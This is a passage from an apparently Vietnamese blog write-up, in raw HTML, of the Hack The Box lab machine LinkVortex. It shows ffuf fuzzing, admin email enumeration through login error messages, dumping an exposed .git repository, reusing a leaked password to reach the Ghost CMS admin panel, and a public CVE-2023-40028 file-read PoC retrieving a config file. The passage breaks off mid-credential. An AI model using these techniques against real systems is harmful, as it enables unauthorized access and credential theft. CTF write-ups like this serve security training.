 :: Wordlist         : FUZZ: /tmp/wordlist.txt
 :: Header           : Host: FUZZ.linkvortex.htb
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 12148
________________________________________________

dev                     [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 154ms]
:: Progress: [641/4989] :: Job [1/1] :: 33 req/sec :: Duration: [0:00:15] :: Errors: 0 ::
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;May mắn tìm được một subdomain đang được public. Một lần nữa trỏ domain và sau đó hãy thử khám phá những điều thú vị của subdomain này.&lt;/p&gt;

&lt;p&gt;Lúc này chúng ta đã có một vài thông tin hữu ích nhưng cũng chưa thể nghĩ ra được thêm nhiều phương án để tiếp cận các bước tiếp theo.&lt;/p&gt;

&lt;p&gt;Thông thường, sẽ cố gắng liệt kê những endpoint đang tồn tại của mục tiêu để có thêm những phương án tiếp cận hay lỗ hổng đang tồn tại trên mục tiêu. Vì vậy, hãy tiếp cận chúng theo các cách thông thường trước.&lt;/p&gt;

&lt;p&gt;Chọn wordlist để liệt kê những endpoint đang tồn tại&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex]# fdfind &lt;span class=&quot;nt&quot;&gt;-g&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;*dir*&quot;&lt;/span&gt; /usr/share/seclists/
/usr/share/seclists/Discovery/Web-Content/CMS/trickest-cms-wordlist/directus-all-levels.txt
/usr/share/seclists/Discovery/Web-Content/CMS/trickest-cms-wordlist/directus.txt
/usr/share/seclists/Discovery/Web-Content/KitchensinkDirectories.fuzz.txt
/usr/share/seclists/Discovery/Web-Content/SVNDigger/all-dirs.txt
/usr/share/seclists/Discovery/Web-Content/combined_directories.txt
/usr/share/seclists/Discovery/Web-Content/common_directories.txt
....
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Sẽ thử trước với &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/share/seclists/Discovery/Web-Content/dirsearch.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Dirsearch &lt;a href=&quot;http://linkvortex.htb/&quot;&gt;linkvortex.htb&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex]# docker run &lt;span class=&quot;nt&quot;&gt;-it&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; /usr/share/seclists/Discovery/Web-Content/dirsearch.txt:/tmp/wordlist.txt &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; /etc/hosts:/etc/hosts secsi/ffuf &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; http://linkvortex.htb/FUZZ &lt;span class=&quot;nt&quot;&gt;-w&lt;/span&gt; /tmp/wordlist.txt &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt;

        /&lt;span class=&quot;s1&quot;&gt;&apos;___\  /&apos;&lt;/span&gt;___&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;          /&lt;span class=&quot;s1&quot;&gt;&apos;___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://linkvortex.htb/FUZZ
 :: Wordlist         : FUZZ: /tmp/wordlist.txt
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.                       [Status: 200, Size: 12148, Words: 2590, Lines: 308, Duration: 555ms]
                        [Status: 200, Size: 12148, Words: 2590, Lines: 308, Duration: 467ms]
About/                  [Status: 200, Size: 8284, Words: 1296, Lines: 162, Duration: 616ms]
About                   [Status: 200, Size: 8284, Words: 1296, Lines: 162, Duration: 465ms]
Private/                [Status: 200, Size: 12148, Words: 2590, Lines: 308, Duration: 680ms]
RSS/                    [Status: 200, Size: 26682, Words: 3078, Lines: 1, Duration: 259ms]
RSS                     [Status: 200, Size: 26682, Words: 3078, Lines: 1, Duration: 215ms]
Rss                     [Status: 200, Size: 26682, Words: 3078, Lines: 1, Duration: 478ms]
about/                  [Status: 200, Size: 8284, Words: 1296, Lines: 162, Duration: 576ms]
about                   [Status: 200, Size: 8284, Words: 1296, Lines: 162, Duration: 553ms]
favicon.ico             [Status: 200, Size: 15406, Words: 43, Lines: 2, Duration: 437ms]
feed/                   [Status: 200, Size: 26682, Words: 3078, Lines: 1, Duration: 455ms]
feed                    [Status: 200, Size: 26682, Words: 3078, Lines: 1, Duration: 389ms]
private/                [Status: 200, Size: 12148, Words: 2590, Lines: 308, Duration: 664ms]
robots.txt              [Status: 200, Size: 121, Words: 7, Lines: 7, Duration: 349ms]
rss/                    [Status: 200, Size: 26682, Words: 3078, Lines: 1, Duration: 537ms]
sitemap.xml             [Status: 200, Size: 527, Words: 6, Lines: 1, Duration: 294ms]
:: Progress: [12939/12939] :: Job [1/1] :: 50 req/sec :: Duration: [0:03:37] :: Errors: 4147 ::
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Dirsearch &lt;a href=&quot;http://dev.linkvortex.htb/FUZZ&quot;&gt;dev.&lt;strong&gt;linkvortex.htb&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex]# docker run &lt;span class=&quot;nt&quot;&gt;-it&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; /usr/share/seclists/Discovery/Web-Content/dirsearch.txt:/tmp/wordlist.txt &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; /etc/hosts:/etc/hosts secsi/ffuf &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; http://dev.linkvortex.htb/FUZZ &lt;span class=&quot;nt&quot;&gt;-w&lt;/span&gt; /tmp/wordlist.txt &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt;

        /&lt;span class=&quot;s1&quot;&gt;&apos;___\  /&apos;&lt;/span&gt;___&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;          /&lt;span class=&quot;s1&quot;&gt;&apos;___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://dev.linkvortex.htb/FUZZ
 :: Wordlist         : FUZZ: /tmp/wordlist.txt
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.                       [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 156ms]
.git/                   [Status: 200, Size: 2796, Words: 186, Lines: 26, Duration: 161ms]
.git/config             [Status: 200, Size: 201, Words: 14, Lines: 9, Duration: 160ms]
.git/description        [Status: 200, Size: 73, Words: 10, Lines: 2, Duration: 160ms]
.git/hooks/             [Status: 200, Size: 3540, Words: 208, Lines: 28, Duration: 163ms]
....
index.html              [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 225ms]
:: Progress: [12939/12939] :: Job [1/1] :: 255 req/sec :: Duration: [0:00:38] :: Errors: 4147 ::
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Có hàng tá thông tin có ích nhưng với subdomain dev có vẻ có nhiều thứ hay ho hơn :))). Nhưng hãy thử kiểm tra qua một lượt tất cả thông tin vừa thu thập được để tránh miss những manh mỗi hữu ích.&lt;/p&gt;

&lt;p&gt;Tất cả những endpoints được kiểm tra qua một lượt ở &lt;a href=&quot;http://linkvortex.htb/&quot;&gt;http://linkvortex.htb/&lt;/a&gt; đều không đem lại nhiều thông tin hữu ích, ngoại trừ &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;robots.txt&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex]# curl http://linkvortex.htb/robots.txt
User-agent: &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;
Sitemap: http://linkvortex.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Tất cả những domain được &lt;strong&gt;Disallow&lt;/strong&gt; đều trả 404 ngoại trừ &lt;em&gt;**&lt;/em&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/ghost/&lt;/code&gt; đã navigate về một trang login. Điều này mở ra một chân trời mới với những ý tưởng mới 🤤&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/linkvortex/image.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Các ý tưởng và khả năng có thể thực hiện:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Brute force login account&lt;/li&gt;
  &lt;li&gt;Exploit CVE dựa vào framework version&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;brute-force-login-account&quot;&gt;Brute force login account&lt;/h3&gt;

&lt;p&gt;Đối với ý tưởng này, đó nên là kế hoạch B bởi vì khả năng để brute force được một admin account sẽ thấp và tốn thời gian, chưa kể bạn vẫn chưa thể biết được bất cứ username nào. Việc này nếu muốn thực hiện thì nên được làm như một background script &lt;em&gt;(có thể tạo một docker container để isolate process này với các task khác)&lt;/em&gt; thực hiện brute force tìm username và sau đó brute force tiếp password dựa trên username đó và có thể lãng quên nó trong một thời gian mặc kệ nó chạy. Nếu may mắn đến với bạn thì bạn chỉ cần ngủ một giấc ngon lành từ đêm đến sáng và kết quả sẽ nhả ra admin account cho bạn 🤣.&lt;/p&gt;

&lt;p&gt;Theo trực giác, tôi vô tình gõ một account theo tên tổ chức (admin@linkvortex.htb) thì nhận được phản hồi: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Your password is incorrect.&lt;/code&gt;  không giống như khi nhập một email address bất kì:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/linkvortex/image%201.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/linkvortex/image%202.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Chứng tỏ rằng email &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin@linkvortex.htb&lt;/code&gt;&lt;/strong&gt;  có tồn tại trên hệ thống và chúng ta đã bớt đi một bước để tìm kiếm username. Đây là một sự may mắn.&lt;/p&gt;

&lt;p&gt;Việc nghĩ đến tiếp theo sẽ là quét password dựa trên username này. Tuy nhiên, như đã nói ở trên, nó nên là một background script, &lt;strong&gt;&lt;em&gt;tôi đã thử thực hiện điều này nhưng không may mắn khi mục tiêu đã được set rate-limit. Vì vậy, cần phải nghĩ đến một phương án tiếp theo.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;exploit-cve-dựa-vào-framework-version&quot;&gt;Exploit CVE dựa vào framework version&lt;/h3&gt;

&lt;p&gt;Cách này cần tìm được version của Ghost CMS, lần này tôi đã thử thực hiện explore qua Burp để tìm được thông tin version dựa trên các requests và responses.&lt;/p&gt;

&lt;p&gt;Tôi đã tìm được ngay sau đó khi khám phá qua login request, không mất nhiều thời gian&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/linkvortex/image%203.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Sau khi tìm được version, tôi đã cố gắng tìm kiếm thông tin về bất kì CVE nào đó để có thể RCE vào được. Hiện tại tôi có tìm được một PoC tuy không thể RCE nhưng ít nhất có thể cung cấp được một vài thông tin hữu ích và vector để tôi có thể nghĩ đến việc thực hiện leo thang đặc quyền (LPE).&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028&quot;&gt;https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Nhưng CVE này cần username và password để có thể thực hiện. Vì vậy, tôi nghĩ mình phải bắt buộc tìm ra được password trước khi làm các bước tiếp theo.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Vì mục tiêu đã rate-limit requests, tôi cần phải quên ngay việc tiếp tục brute force account.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Nhớ lại trước đó đã tìm được một vài thông tin hữu ích khi thực hiện dò quét endpoints của domain &lt;a href=&quot;http://linkvortex.htb/&quot;&gt;http://dev.linkvortex.htb&lt;/a&gt; bên trên. Điểu thu hút sự chú ý của tôi là thư mục &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.git/&lt;/code&gt; &lt;strong&gt;bằng một cách nào đó được vô tình push lên và public ra ngoài internet.&lt;/strong&gt; Tôi nghĩ tôi sẽ dành hết sự tập trung để khai thác điều này.&lt;/p&gt;

&lt;h3 id=&quot;git-exposed-exploit&quot;&gt;Git Exposed Exploit&lt;/h3&gt;

&lt;p&gt;Điều đầu tiên tôi đã nghĩ đến khi bắt đầu khai thác lỗi này là sẽ download folder này về để có thể tận dụng &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git-pull&lt;/code&gt; được source code.&lt;/p&gt;

&lt;p&gt;Sử dụng script: https://github.com/arthaud/git-dumper để dump repo của website&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex]# git-dumper http://dev.linkvortex.htb/.git/ so
urces/
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;-] Testing http://dev.linkvortex.htb/.git/HEAD &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;200]
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;-] Testing http://dev.linkvortex.htb/.git/ &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;200]
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;-] Fetching .git recursively
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;-] Fetching http://dev.linkvortex.htb/.git/ &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;200]
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;-] Fetching http://dev.linkvortex.htb/.gitignore &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;404]
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;-] http://dev.linkvortex.htb/.gitignore responded with status code 404
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;-] Fetching http://dev.linkvortex.htb/.git/refs/ &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;200]
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;-] Fetching http://dev.linkvortex.htb/.git/description &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;200]
...
Fetching http://dev.linkvortex.htb/.git/objects/pack/pack-0b802d170fe45db10157bb8e02bfc9397d5e9d87.pack &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;200]
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;-] Sanitizing .git/config
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;-] Running git checkout &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
Updated 5596 paths from the index
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Sau khi dump về tôi nhận được source code của website, &lt;strong&gt;đến bước này tôi nghĩ mọi chuyện đang dần sáng tỏ.&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex]# &lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;sources/
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex/sources]# &lt;span class=&quot;nb&quot;&gt;ls
&lt;/span&gt;Dockerfile.ghost  PRIVACY.md  SECURITY.md  ghost    package.json
LICENSE           README.md   apps         nx.json  yarn.lock
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Kiểm tra một vài thay đổi của repo bằng vài command như git log hay git status thì tôi nhận được vài điều hay ho:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex/sources]# git status 
Not currently on any branch.
Changes to be committed:
  &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;use &lt;span class=&quot;s2&quot;&gt;&quot;git restore --staged &amp;lt;file&amp;gt;...&quot;&lt;/span&gt; to unstage&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        new file:   Dockerfile.ghost
        modified:   ghost/core/test/regression/api/admin/authentication.test.js
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Có 2 file đã được thay đổi ở đây, hãy xem chúng đã thay đổi những gì:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/linkvortex/image%204.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/linkvortex/image%205.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Có một password nào đó đã được thay đổi, quay lại và thử nó với account đã tìm được lúc nãy (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin@linkvortex.htb&lt;/code&gt;) và xem tôi có may mắn hay không.&lt;/p&gt;

&lt;p&gt;Thật tuyệt vời! Tôi đã có thể vào được trang quản trị của Ghost CMS 😱&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/linkvortex/image%206.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Giờ sẽ làm gì tiếp theo ? Nghĩ lại PoC vừa nãy có yêu cầu password. Tôi đã thử sử dụng PoC để thử đọc được nội dung của những file trên server. Có một vài file tôi có thể đọc được và một vài file thì không. Nhưng thú thực lúc này tôi cũng chưa biết được file nào là hữu ích để tôi có thể đọc 😄. Quyền hạn lúc này là rất hạn chế, tôi đang cố tìm mọi cách để có thể nâng lên RCE. Nhưng điều này có vẻ rất khó khăn đối với một quyền chỉ đọc. Và tôi cảm thấy mệt mỏi khi tìm giải pháp trong những thời gian sau đó 😵‍💫.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Sau đó tôi tính bỏ qua vector này, vì tôi nghĩ đó có thể là một &lt;strong&gt;rabbit hole :))&lt;/strong&gt; . Chắc phải có một cách nào đó khác để có thể RCE. Nên tôi tính bỏ qua cái PoC này luôn&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Lúc đầu óc đang rối bời đột nhiên nghĩ lại rằng dường như mình đã bỏ quên gì đó. Nhận ra lúc kiểm tra &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git status&lt;/code&gt; có 2 file thay đổi chứ không chỉ 1, tôi đã bỏ quên mất thay đổi còn lại. Lúc này, tôi phải quay lại để kiểm tra xem liệu tôi đã bỏ lỡ thứ gì…&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@vunv-redteam-sb.dev.virt:~/redteam/ctf/linkvortex/sources]# git diff &lt;span class=&quot;nt&quot;&gt;--cached&lt;/span&gt; Dockerfile.ghost
diff &lt;span class=&quot;nt&quot;&gt;--git&lt;/span&gt; a/Dockerfile.ghost b/Dockerfile.ghost
new file mode 100644
index 0000000..50864e0
&lt;span class=&quot;nt&quot;&gt;---&lt;/span&gt; /dev/null
+++ b/Dockerfile.ghost
@@ &lt;span class=&quot;nt&quot;&gt;-0&lt;/span&gt;,0 +1,16 @@
+FROM ghost:5.58.0
+
+# Copy the config
+COPY config.production.json /var/lib/ghost/config.production.json
+
+# Prevent installing packages
+RUN &lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-rf&lt;/span&gt; /var/lib/apt/lists/&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; /etc/apt/sources.list&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb
+
+# Wait &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;the db to be ready first
+COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
+COPY entry.sh /entry.sh
+RUN &lt;span class=&quot;nb&quot;&gt;chmod&lt;/span&gt; +x /var/lib/ghost/wait-for-it.sh
+RUN &lt;span class=&quot;nb&quot;&gt;chmod&lt;/span&gt; +x /entry.sh
+
+ENTRYPOINT &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/entry.sh&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
+CMD &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;node&quot;&lt;/span&gt;, &lt;span class=&quot;s2&quot;&gt;&quot;current/index.js&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Đầu óc bừng tình khi nhìn thấy dòng chữ &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;production&lt;/code&gt;  nhạy cảm, có vẻ có gì bên trong đó. Với kinh nghiệm làm việc với Docker của tôi, tôi không mất quá 1s để hiểu được tập lệnh này làm gì 😌&lt;/p&gt;

&lt;p&gt;Nhưng làm sao để đọc được nội dung của file  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config.production.json&lt;/code&gt; bên trong &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/lib/ghost/&lt;/code&gt; . Là rõ, PoC vừa nãy sẽ giúp bạn điều này 😜.&lt;/p&gt;

&lt;p&gt;Sau đó tôi đã thử đọc file cấu hình với hy vọng tìm được một gì đó chí mạng để chấm dứt tất cả những chuỗi ngày tăm tối vừa qua, nhưng có vẻ thông tin đem lại không mấy hữu ích.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Enter the file path to &lt;span class=&quot;nb&quot;&gt;read&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;or &lt;span class=&quot;nb&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;exit&apos;&lt;/span&gt; to quit&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;: /var/lib/ghost/config.production.json
File content:
&lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;s2&quot;&gt;&quot;url&quot;&lt;/span&gt;: &lt;span class=&quot;s2&quot;&gt;&quot;http://localhost:2368&quot;&lt;/span&gt;,
  &lt;span class=&quot;s2&quot;&gt;&quot;server&quot;&lt;/span&gt;: &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;s2&quot;&gt;&quot;port&quot;&lt;/span&gt;: 2368,
    &lt;span class=&quot;s2&quot;&gt;&quot;host&quot;&lt;/span&gt;: &lt;span class=&quot;s2&quot;&gt;&quot;::&quot;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;,
  &lt;span class=&quot;s2&quot;&gt;&quot;mail&quot;&lt;/span&gt;: &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;s2&quot;&gt;&quot;transport&quot;&lt;/span&gt;: &lt;span class=&quot;s2&quot;&gt;&quot;Direct&quot;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;,
  &lt;span class=&quot;s2&quot;&gt;&quot;logging&quot;&lt;/span&gt;: &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;s2&quot;&gt;&quot;transports&quot;&lt;/span&gt;: &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;stdout&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;,
  &lt;span class=&quot;s2&quot;&gt;&quot;process&quot;&lt;/span&gt;: &lt;span class=&quot;s2&quot;&gt;&quot;systemd&quot;&lt;/span&gt;,
  &lt;span class=&quot;s2&quot;&gt;&quot;paths&quot;&lt;/span&gt;: &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;s2&quot;&gt;&quot;contentPath&quot;&lt;/span&gt;: &lt;span class=&quot;s2&quot;&gt;&quot;/var/lib/ghost/content&quot;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;,
  &lt;span class=&quot;s2&quot;&gt;&quot;spam&quot;&lt;/span&gt;: &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;s2&quot;&gt;&quot;user_login&quot;&lt;/span&gt;: &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;s2&quot;&gt;&quot;minWait&quot;&lt;/span&gt;: 1,
        &lt;span class=&quot;s2&quot;&gt;&quot;maxWait&quot;&lt;/span&gt;: 604800000,
        &lt;span class=&quot;s2&quot;&gt;&quot;freeRetries&quot;&lt;/span&gt;: 5000
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;,
  &lt;span class=&quot;s2&quot;&gt;&quot;mail&quot;&lt;/span&gt;: &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
     &lt;span class=&quot;s2&quot;&gt;&quot;transport&quot;&lt;/span&gt;: &lt;span class=&quot;s2&quot;&gt;&quot;SMTP&quot;&lt;/span&gt;,
     &lt;span class=&quot;s2&quot;&gt;&quot;options&quot;&lt;/span&gt;: &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;s2&quot;&gt;&quot;service&quot;&lt;/span&gt;: &lt;span class=&quot;s2&quot;&gt;&quot;Google&quot;&lt;/span&gt;,
      &lt;span class=&quot;s2&quot;&gt;&quot;host&quot;&lt;/span&gt;: &lt;span class=&quot;s2&quot;&gt;&quot;linkvortex.htb&quot;&lt;/span&gt;,
      &lt;span class=&quot;s2&quot;&gt;&quot;port&quot;&lt;/span&gt;: 587,
      &lt;span class=&quot;s2&quot;&gt;&quot;auth&quot;&lt;/span&gt;: &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;s2&quot;&gt;&quot;user&quot;&lt;/span&gt;: &lt;span class=&quot;s2&quot;&gt;&quot;bob@linkvortex.htb&quot;&lt;/span&gt;,
